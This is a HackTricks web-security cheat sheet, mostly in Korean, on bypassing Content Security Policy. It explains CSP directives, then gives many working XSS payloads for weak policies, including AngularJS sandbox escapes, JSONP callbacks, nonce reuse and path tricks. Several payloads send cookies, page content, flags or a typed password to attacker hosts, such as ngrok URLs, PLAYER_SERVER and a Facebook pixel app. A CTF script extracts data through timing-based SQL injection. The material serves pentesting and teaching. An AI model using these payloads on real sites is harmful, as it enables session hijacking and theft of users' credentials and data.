Content Security Policy (CSP) Bypass

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

What is CSP

Content Security Policy (CSP)는 주로 **교차 사이트 스크립팅(XSS)**와 같은 공격으로부터 보호하기 위해 설계된 브라우저 기술로 인식됩니다. 이는 브라우저가 안전하게 리소스를 로드할 수 있는 경로와 출처를 정의하고 상세히 설명함으로써 작동합니다. 이러한 리소스는 이미지, 프레임 및 JavaScript와 같은 다양한 요소를 포함합니다. 예를 들어, 정책은 동일한 도메인(자체)에서 리소스를 로드하고 실행하는 것을 허용할 수 있으며, 여기에는 인라인 리소스와 eval, setTimeout, 또는 setInterval과 같은 함수를 통한 문자열 코드 실행이 포함됩니다.

CSP의 구현은 응답 헤더를 통해 또는 HTML 페이지에 메타 요소를 포함시킴으로써 수행됩니다. 이 정책에 따라 브라우저는 이러한 규정을 적극적으로 시행하고 감지된 위반 사항을 즉시 차단합니다.

  • Implemented via response header:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • 메타 태그를 통해 구현됨:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP는 다음 헤더를 사용하여 시행되거나 모니터링될 수 있습니다:

  • Content-Security-Policy: CSP를 시행합니다; 브라우저는 위반 사항을 차단합니다.

  • Content-Security-Policy-Report-Only: 모니터링에 사용됩니다; 위반 사항을 차단하지 않고 보고합니다. 사전 생산 환경에서 테스트하는 데 이상적입니다.

Defining Resources

CSP는 활성 및 수동 콘텐츠 로딩의 출처를 제한하여 인라인 JavaScript 실행 및 eval() 사용과 같은 측면을 제어합니다. 예시 정책은:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directives

  • script-src: JavaScript에 대한 특정 출처를 허용합니다. 여기에는 URL, 인라인 스크립트 및 이벤트 핸들러 또는 XSLT 스타일시트에 의해 트리거된 스크립트가 포함됩니다.

  • default-src: 특정 가져오기 지시어가 없을 때 리소스를 가져오기 위한 기본 정책을 설정합니다.

  • child-src: 웹 워커 및 임베디드 프레임 콘텐츠에 대한 허용된 리소스를 지정합니다.

  • connect-src: fetch, WebSocket, XMLHttpRequest와 같은 인터페이스를 사용하여 로드할 수 있는 URL을 제한합니다.

  • frame-src: 프레임에 대한 URL을 제한합니다.

  • frame-ancestors: 현재 페이지를 포함할 수 있는 출처를 지정합니다. 이는 <frame>, <iframe>, <object>, <embed>, <applet>와 같은 요소에 적용됩니다.

  • img-src: 이미지에 대한 허용된 출처를 정의합니다.

  • font-src: @font-face를 사용하여 로드된 글꼴에 대한 유효한 출처를 지정합니다.

  • manifest-src: 애플리케이션 매니페스트 파일의 허용된 출처를 정의합니다.

  • media-src: 미디어 객체를 로드하기 위한 허용된 출처를 정의합니다.

  • object-src: <object>, <embed>, <applet> 요소에 대한 허용된 출처를 정의합니다.

  • base-uri: <base> 요소를 사용하여 로드할 수 있는 허용된 URL을 지정합니다.

  • form-action: 폼 제출을 위한 유효한 엔드포인트를 나열합니다.

  • plugin-types: 페이지가 호출할 수 있는 MIME 유형을 제한합니다.

  • upgrade-insecure-requests: 브라우저에 HTTP URL을 HTTPS로 재작성하도록 지시합니다.

  • sandbox: <iframe>의 sandbox 속성과 유사한 제한을 적용합니다.

  • report-to: 정책이 위반될 경우 보고서를 보낼 그룹을 지정합니다.

  • worker-src: Worker, SharedWorker 또는 ServiceWorker 스크립트에 대한 유효한 출처를 지정합니다.

  • prefetch-src: 가져오거나 미리 가져올 리소스에 대한 유효한 출처를 지정합니다.

  • navigate-to: 문서가 어떤 수단으로든 탐색할 수 있는 URL을 제한합니다 (a, form, window.location, window.open 등).

Sources

  • *: data:, blob:, filesystem: 스킴을 제외한 모든 URL을 허용합니다.

  • 'self': 동일한 도메인에서 로드를 허용합니다.

  • 'data': 데이터 스킴을 통해 리소스를 로드할 수 있도록 허용합니다 (예: Base64 인코딩된 이미지).

  • 'none': 어떤 출처에서도 로드를 차단합니다.

  • 'unsafe-eval': eval() 및 유사한 메서드의 사용을 허용하지만 보안상의 이유로 권장되지 않습니다.

  • 'unsafe-hashes': 특정 인라인 이벤트 핸들러를 활성화합니다.

  • 'unsafe-inline': 인라인 <script> 또는 <style>과 같은 인라인 리소스의 사용을 허용하지만 보안상의 이유로 권장되지 않습니다.

  • 'nonce': 암호화된 nonce(한 번 사용되는 숫자)를 사용하는 특정 인라인 스크립트에 대한 화이트리스트입니다.

  • JS 실행이 제한된 경우, doc.defaultView.top.document.querySelector("[nonce]")를 사용하여 페이지 내에서 사용된 nonce를 가져오고 이를 재사용하여 악성 스크립트를 로드할 수 있습니다 (strict-dynamic이 사용되는 경우, 허용된 출처는 새로운 출처를 로드할 수 있으므로 필요하지 않습니다), 예를 들어:

Load script reusing nonce
  • 'sha256-<hash>': 특정 sha256 해시를 가진 스크립트를 화이트리스트에 추가합니다.

  • 'strict-dynamic': nonce 또는 해시로 화이트리스트에 추가된 경우 모든 출처에서 스크립트를 로드할 수 있습니다.

  • 'host': example.com과 같은 특정 호스트를 지정합니다.

  • https:: HTTPS를 사용하는 URL로 제한합니다.

  • blob:: Blob URL(예: JavaScript를 통해 생성된 Blob URL)에서 리소스를 로드할 수 있습니다.

  • filesystem:: 파일 시스템에서 리소스를 로드할 수 있습니다.

  • 'report-sample': 위반 보고서에 위반 코드를 샘플로 포함합니다(디버깅에 유용).

  • 'strict-origin': 'self'와 유사하지만 출처의 프로토콜 보안 수준이 문서와 일치하는지 확인합니다(안전한 출처만 안전한 출처에서 리소스를 로드할 수 있습니다).

  • 'strict-origin-when-cross-origin': 동일 출처 요청을 할 때 전체 URL을 전송하지만, 요청이 교차 출처일 때는 출처만 전송합니다.

  • 'unsafe-allow-redirects': 즉시 다른 리소스로 리디렉션되는 리소스를 로드할 수 있습니다. 보안을 약화시키므로 권장하지 않습니다.

안전하지 않은 CSP 규칙

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

작동하는 페이로드: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

작동하지 않습니다. 자세한 내용은 여기 확인하세요.

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

작동하는 페이로드:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

만약 당신이 어떤 방법으로 허용된 JS 코드가 당신의 JS 코드로 새로운 스크립트 태그를 DOM에 생성하게 만들 수 있다면, 허용된 스크립트가 그것을 생성하고 있기 때문에, 새로운 스크립트 태그는 실행될 수 있다.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

작동하는 페이로드:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

object-src 및 default-src 부족

더 이상 작동하지 않는 것 같습니다

Content-Security-Policy: script-src 'self' ;

작동하는 페이로드:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

파일 업로드 + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

If you can upload a JS file you can bypass this CSP:

작동하는 페이로드:

"/>'><script src="/uploads/picture.png.js"></script>

그러나 서버가 업로드된 파일을 검증하고 특정 유형의 파일만 업로드를 허용할 가능성이 높습니다.

게다가, 서버에서 허용하는 확장자를 사용하여 파일 안에 JS 코드를 업로드할 수 있다 하더라도 (예: script.png) 이는 충분하지 않습니다. 왜냐하면 아파치 서버와 같은 일부 서버는 확장자에 따라 파일의 MIME 유형을 선택하고, Chrome과 같은 브라우저는 이미지여야 하는 것 안의 Javascript 코드를 실행하는 것을 거부하기 때문입니다. "다행히도", 실수가 있습니다. 예를 들어, CTF에서 Apache는 .wave 확장자를 알지 못하므로 **audio/***와 같은 MIME 유형으로 제공하지 않습니다.

여기서 XSS와 파일 업로드를 찾고, 잘못 해석된 확장자를 찾으면, 해당 확장자와 스크립트 내용을 가진 파일을 업로드해 볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, 폴리글롯을 생성할 수 있습니다 (여기에서 일부 폴리글롯 예제).

Form-action

JS를 주입할 수 없다면, 예를 들어 폼 액션을 주입하여 자격 증명을 유출해 볼 수 있습니다 (그리고 아마도 비밀번호 관리자가 비밀번호를 자동으로 채우기를 기대할 수 있습니다). 이 보고서에서 예를 찾을 수 있습니다. 또한 default-src가 폼 액션을 포함하지 않는다는 점에 유의하세요.

Third Party Endpoints + ('unsafe-eval')

다음 페이로드 중 일부에 대해 unsafe-eval은 필요하지 않습니다.

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

취약한 버전의 Angular를 로드하고 임의의 JS를 실행합니다:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Angular + window 객체를 반환하는 함수가 있는 라이브러리를 사용하는 페이로드 (이 게시물을 확인하세요):

이 게시물은 cdn.cloudflare.com (또는 다른 허용된 JS 라이브러리 저장소)에서 모든 라이브러리로드하고, 각 라이브러리에서 추가된 모든 함수를 실행하며, 어떤 라이브러리의 어떤 함수가 window 객체를 반환하는지 확인할 수 있음을 보여줍니다.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS 클래스 이름에서:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

구글 reCAPTCHA JS 코드 악용

이 CTF 작성글에 따르면, CSP 내에서 https://www.google.com/recaptcha/를 악용하여 CSP를 우회하고 임의의 JS 코드를 실행할 수 있습니다:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

더 많은 이 글에서의 페이로드:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

www.google.com을 이용한 오픈 리디렉션 악용

다음 URL은 example.com으로 리디렉션됩니다 (여기에서):

https://www.google.com/amp/s/example.com/

Abusing *.google.com/script.google.com

Google Apps Script를 악용하여 script.google.com 내의 페이지에서 정보를 받을 수 있습니다. 이는 이 보고서에서와 같이 수행됩니다.

제3자 엔드포인트 + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

이와 같은 시나리오에서 script-srcself와 특정 도메인으로 설정되어 있을 때, JSONP를 사용하여 우회할 수 있습니다. JSONP 엔드포인트는 공격자가 XSS를 수행할 수 있는 불안전한 콜백 메서드를 허용합니다. 작동하는 페이로드:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee 는 다양한 웹사이트의 CSP 우회를 위한 사용 가능한 JSONP 엔드포인트를 포함하고 있습니다.

신뢰할 수 있는 엔드포인트에 Open Redirect가 포함되어 있으면 동일한 취약점이 발생합니다. 초기 엔드포인트가 신뢰할 수 있는 경우 리디렉션도 신뢰할 수 있습니다.

제3자 남용

다음 게시물에서 설명된 바와 같이, CSP에서 허용될 수 있는 많은 제3자 도메인이 있으며, 이를 통해 데이터를 유출하거나 JavaScript 코드를 실행할 수 있습니다. 이러한 제3자 중 일부는 다음과 같습니다:

EntityAllowed DomainCapabilities

Facebook

www.facebook.com, *.facebook.com

Exfil

Hotjar

*.hotjar.com, ask.hotjar.io

Exfil

Jsdelivr

*.jsdelivr.com, cdn.jsdelivr.net

Exec

Amazon CloudFront

*.cloudfront.net

Exfil, Exec

Amazon AWS

*.amazonaws.com

Exfil, Exec

Azure Websites

*.azurewebsites.net, *.azurestaticapps.net

Exfil, Exec

Salesforce Heroku

*.herokuapp.com

Exfil, Exec

Google Firebase

*.firebaseapp.com

Exfil, Exec

대상 CSP에서 허용된 도메인을 발견하면, 제3자 서비스에 등록하여 해당 서비스로 데이터를 유출하거나 코드를 실행할 수 있는 가능성이 있습니다.

예를 들어, 다음과 같은 CSP를 발견하면:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

or

Content-Security-Policy​: connect-src www.facebook.com;​

당신은 Google Analytics/Google Tag Manager와 마찬가지로 데이터를 유출할 수 있어야 합니다. 이 경우, 다음 일반 단계를 따릅니다:

  1. 여기에서 Facebook Developer 계정을 만듭니다.

  2. 새 "Facebook Login" 앱을 만들고 "Website"를 선택합니다.

  3. "Settings -> Basic"으로 가서 "App ID"를 가져옵니다.

  4. 데이터를 유출하려는 대상 사이트에서 "customEvent"와 데이터 페이로드를 통해 Facebook SDK 가젯 "fbq"를 직접 사용하여 데이터를 유출할 수 있습니다.

  5. 앱 "Event Manager"로 가서 생성한 애플리케이션을 선택합니다 (이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).

  6. "Test Events" 탭을 선택하여 "당신의" 웹사이트에서 전송되는 이벤트를 확인합니다.

그런 다음, 피해자 측에서 다음 코드를 실행하여 Facebook 추적 픽셀을 초기화하고 공격자의 Facebook 개발자 계정 앱 ID를 가리키고 다음과 같은 사용자 정의 이벤트를 발행합니다:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

다음 표에 명시된 다른 일곱 개의 서드파티 도메인에 대해서는 남용할 수 있는 다른 방법이 많이 있습니다. 다른 서드파티 남용에 대한 추가 설명은 이전의 블로그 게시물을 참조하세요.

RPO(상대 경로 덮어쓰기)를 통한 우회

앞서 언급한 경로 제한 우회를 위한 리디렉션 외에도 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기(RPO)라는 또 다른 기술이 있습니다.

예를 들어, CSP가 경로 https://example.com/scripts/react/를 허용하는 경우, 다음과 같이 우회할 수 있습니다:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

브라우저는 궁극적으로 https://example.com/scripts/angular/angular.js를 로드합니다.

이것은 브라우저가 https://example.com/scripts/react/ 아래에 위치한 ..%2fangular%2fangular.js라는 파일을 로드하고 있기 때문에 작동하며, 이는 CSP를 준수합니다.

∑, 그들은 이를 디코딩하여 사실상 https://example.com/scripts/react/../angular/angular.js를 요청하게 되며, 이는 https://example.com/scripts/angular/angular.js와 동일합니다.

브라우저와 서버 간의 URL 해석의 불일치를 이용하여 경로 규칙을 우회할 수 있습니다.

해결책은 서버 측에서 %2f/로 처리하지 않도록 하여 브라우저와 서버 간의 일관된 해석을 보장하여 이 문제를 피하는 것입니다.

온라인 예제: https://jsbin.com/werevijewa/edit?html,output

Iframes JS 실행

Iframes in XSS, CSP and SOP

누락된 base-uri

base-uri 지시어가 누락된 경우, 이를 악용하여 dangling markup injection을 수행할 수 있습니다.

게다가, 페이지가 상대 경로를 사용하여 스크립트를 로드하는 경우(<script src="/js/app.js">) Nonce를 사용하여, base 태그를 악용하여 자신의 서버에서 스크립트를 로드하게 하여 XSS를 달성할 수 있습니다. 취약한 페이지가 httpS로 로드되는 경우, base에 httpS URL을 사용하십시오.

<base href="https://www.attacker.com/">

AngularJS 이벤트

특정 정책인 Content Security Policy (CSP)는 JavaScript 이벤트를 제한할 수 있습니다. 그럼에도 불구하고 AngularJS는 대안으로 사용자 정의 이벤트를 도입합니다. 이벤트 내에서 AngularJS는 네이티브 브라우저 이벤트 객체를 참조하는 고유한 객체 $event를 제공합니다. 이 $event 객체는 CSP를 우회하는 데 악용될 수 있습니다. 특히 Chrome에서는 $event/event 객체가 이벤트 실행 체인에 관련된 객체 배열을 보유하는 path 속성을 가지고 있으며, window 객체는 항상 끝에 위치합니다. 이 구조는 샌드박스 탈출 전술에 중요합니다.

이 배열을 orderBy 필터로 전달함으로써, 이를 반복하여 터미널 요소(즉, window 객체)를 활용해 alert()와 같은 전역 함수를 트리거할 수 있습니다. 아래의 코드 스니펫은 이 과정을 설명합니다:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

이 스니펫은 ng-focus 지시어를 사용하여 이벤트를 트리거하고, $event.path|orderBy를 사용하여 path 배열을 조작하며, window 객체를 활용하여 alert() 함수를 실행하여 document.cookie를 노출하는 방법을 강조합니다.

다른 Angular 우회 방법을 찾으려면 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 를 참조하세요.

AngularJS 및 허용된 도메인

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Angular JS 애플리케이션에서 스크립트 로딩을 위한 도메인을 화이트리스트하는 CSP 정책은 콜백 함수 호출 및 특정 취약한 클래스를 통해 우회될 수 있습니다. 이 기술에 대한 추가 정보는 이 git repository에서 제공되는 자세한 가이드를 참조하십시오.

작동하는 페이로드:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

다른 JSONP 임의 실행 엔드포인트는 여기에서 찾을 수 있습니다 (일부는 삭제되었거나 수정되었습니다)

리디렉션을 통한 우회

CSP가 서버 측 리디렉션을 만났을 때 어떤 일이 발생할까요? 리디렉션이 허용되지 않은 다른 출처로 이어지면 여전히 실패합니다.

그러나 CSP 사양 4.2.2.3. 경로 및 리디렉션에서 설명한 바에 따르면, 리디렉션이 다른 경로로 이어지면 원래의 제한을 우회할 수 있습니다.

예를 들어:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

CSP가 https://www.google.com/a/b/c/d로 설정된 경우, 경로가 고려되므로 /test/a/test 스크립트는 CSP에 의해 차단됩니다.

그러나 최종 http://localhost:5555/301서버 측에서 https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//로 리디렉션됩니다. 리디렉션이므로 경로는 고려되지 않으며, 스크립트를 로드할 수 있습니다, 따라서 경로 제한을 우회합니다.

이 리디렉션으로 인해 경로가 완전히 지정되더라도 여전히 우회됩니다.

따라서 최선의 해결책은 웹사이트에 열린 리디렉션 취약점이 없도록 하고 CSP 규칙에서 악용될 수 있는 도메인이 없도록 하는 것입니다.

느슨한 마크업으로 CSP 우회

여기에서 읽어보세요.

'unsafe-inline'; img-src *; XSS를 통한

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline'는 코드 내에서 모든 스크립트를 실행할 수 있음을 의미하며(XSS는 코드를 실행할 수 있음) img-src *는 웹페이지에서 모든 리소스의 이미지를 사용할 수 있음을 의미합니다.

이 CSP를 우회할 수 있는 방법은 이미지를 통해 데이터를 유출하는 것입니다(이 경우 XSS는 봇이 접근할 수 있는 페이지에 SQLi가 포함된 CSRF를 악용하고 이미지를 통해 플래그를 추출합니다):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

이 구성은 이미지 안에 삽입된 자바스크립트 코드를 로드하는 데 악용될 수 있습니다. 예를 들어, 페이지가 Twitter에서 이미지를 로드하는 것을 허용하는 경우, 특별한 이미지제작하고, 이를 Twitter에 업로드한 다음, "unsafe-inline"을 악용하여 JS 코드를 실행할 수 있습니다(일반적인 XSS처럼). 이 코드는 이미지를 로드하고, 그 안에서 JS를 추출하여 실행합니다: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

서비스 워커와 함께

서비스 워커의 importScripts 함수는 CSP에 의해 제한되지 않습니다:

Abusing Service Workers

정책 주입

연구: https://portswigger.net/research/bypassing-csp-with-policy-injection

크롬

당신이 보낸 매개변수정책의 선언 안에 붙여넣기 된다면, 당신은 정책을 무력화하는 방식으로 정책을 변경할 수 있습니다. 다음의 우회 방법 중 하나로 스크립트 'unsafe-inline'을 허용할 수 있습니다:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

이 지시문은 기존 script-src 지시문을 덮어씁니다. 여기에서 예를 찾을 수 있습니다: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edge에서는 훨씬 간단합니다. CSP에 단지 이것을 추가할 수 있다면: ;_ Edge정책 전체를 삭제합니다. 예시: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - 시간 공격

지시문 'unsafe-inline'의 부재에 주목하세요. 이번에는 피해자가 XSS를 통해 당신의 제어 하에 있는 페이지를 <iframe>으로 로드하게 만들 수 있습니다. 이번에는 정보를 추출하고자 하는 페이지에 피해자가 접근하게 만들 것입니다 (CSRF). 페이지의 콘텐츠에 접근할 수는 없지만, 페이지가 로드되는 시간을 제어할 수 있다면 필요한 정보를 추출할 수 있습니다.

이번에는 플래그가 추출될 것이며, SQLi를 통해 문자가 올바르게 추측될 때마다 응답더 많은 시간을 소요하게 됩니다. 그러면 플래그를 추출할 수 있게 됩니다:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Bookmarklets

이 공격은 공격자가 사용자가 브라우저의 북마클릿 위로 링크를 드래그 앤 드롭하도록 설득하는 사회 공학을 포함합니다. 이 북마클릿은 악성 자바스크립트 코드를 포함하고 있으며, 드래그 앤 드롭하거나 클릭할 경우 현재 웹 창의 컨텍스트에서 실행되어 CSP를 우회하고 쿠키나 토큰과 같은 민감한 정보를 훔칠 수 있게 합니다.

자세한 정보는 여기에서 원본 보고서를 확인하세요.

CSP bypass by restricting CSP

이 CTF 작성글에서는 허용된 iframe 내부에 더 제한적인 CSP를 주입하여 CSP를 우회하며, 이 CSP는 특정 JS 파일을 로드하는 것을 허용하지 않으며, 그 후 프로토타입 오염 또는 DOM 클러버링을 통해 임의의 스크립트를 로드하기 위해 다른 스크립트를 악용할 수 있게 합니다.

csp 속성으로 iframe의 CSP를 제한할 수 있습니다:

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

이 CTF 작성글에서는 HTML 주입을 통해 CSP를 더 제한적으로 설정하여 CSTI를 방지하는 스크립트를 비활성화할 수 있었고, 따라서 취약점이 악용 가능해졌습니다. CSP는 HTML 메타 태그를 사용하여 더 제한적으로 만들 수 있으며, 인라인 스크립트는 제거하여 그들의 nonce를 허용하고 sha를 통해 특정 인라인 스크립트를 활성화할 수 있습니다:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS exfiltration with Content-Security-Policy-Report-Only

서버가 Content-Security-Policy-Report-Only 헤더를 당신이 제어하는 값으로 응답하도록 만들 수 있다면(아마도 CRLF 때문일 수 있음), 이를 당신의 서버를 가리키게 할 수 있습니다. 그리고 당신이 유출하고자 하는 JS 콘텐츠를 **<script>**로 감싸면 CSP에 의해 unsafe-inline이 허용되지 않을 가능성이 높기 때문에, 이는 CSP 오류를 유발하고 스크립트의 일부(민감한 정보가 포함된)가 Content-Security-Policy-Report-Only에서 서버로 전송됩니다.

예시로 이 CTF 작성글을 확인하세요.

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

CSP 및 Iframe을 통한 정보 유출

  • CSP에 의해 허용된 URL(예: https://example.redirect.com)을 가리키는 iframe이 생성됩니다.

  • 이 URL은 비밀 URL(예: https://usersecret.example2.com)로 리디렉션되며, 이는 CSP에 의해 허용되지 않습니다.

  • securitypolicyviolation 이벤트를 수신함으로써 blockedURI 속성을 캡처할 수 있습니다. 이 속성은 차단된 URI의 도메인을 드러내어 초기 URL이 리디렉션된 비밀 도메인을 유출합니다.

Chrome 및 Firefox와 같은 브라우저가 CSP와 관련하여 iframe을 처리하는 방식이 다르다는 점은 흥미롭습니다. 이는 정의되지 않은 동작으로 인해 민감한 정보가 유출될 수 있는 가능성을 초래합니다.

